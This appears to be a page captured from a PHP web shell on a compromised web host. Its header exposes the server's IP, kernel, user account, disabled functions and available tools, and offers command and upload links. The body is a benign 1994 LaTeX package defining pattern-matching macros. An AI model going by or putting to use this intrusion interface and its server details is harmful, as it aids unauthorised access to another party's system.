Server IP : 111.118.215.189 / Your IP : 216.73.216.178 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/texlive/texmf-dist/tex/latex/fp/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
\NeedsTeXFormat{LaTeX2e} \ProvidesPackage{defpattern}[1994/10/12] \message{% `\string\defpattern-macro (adapted from \string\howto\space (A. Jeffrey: TeX and TUG NEWS 2(2)))'% } %define a macro \defpattern for defining ML-like pattern matching macros %adapted from the \howto-macro from tugboat \def\xcs#1#2{\expandafter#1\csname#2\endcsname} \newcount\actioncount \def\defpattern#1[#2]#3{% \xcs\ifx{\expandafter\gobble\string#1}\relax% \def#1{\erroraction#1}\fi% \advance\actioncount by 1\relax% \expandafter\defaction\expandafter{#1}{#3}{#2}% \def\temp##1##2##3##4##5##6##7##8##9{\def\temp{[#2]}}% \temp\empty\empty\empty\empty\empty\empty\empty\empty\empty% \edef#1{\noexpand\doaction\xcs\noexpand% {action-\the\actioncount}\temp}} \def\defaction#1#2#3{% \xcs\def{action-\the\actioncount}##1[#3]{\applyto{#1}{#2}}} \def\gobble#1{} \def\applyto#1#2#3{#3{#1}{#2}} \def\doaction#1[#2][#3]{#1[#3]\success[#2]\failure[#3]} \def\success#1#2[#3]\failure[#4]{#2} \def\failure#1#2{#1} \def\erroraction#1[#2]{% \errmessage{I don't know how to \string#1[#2]}}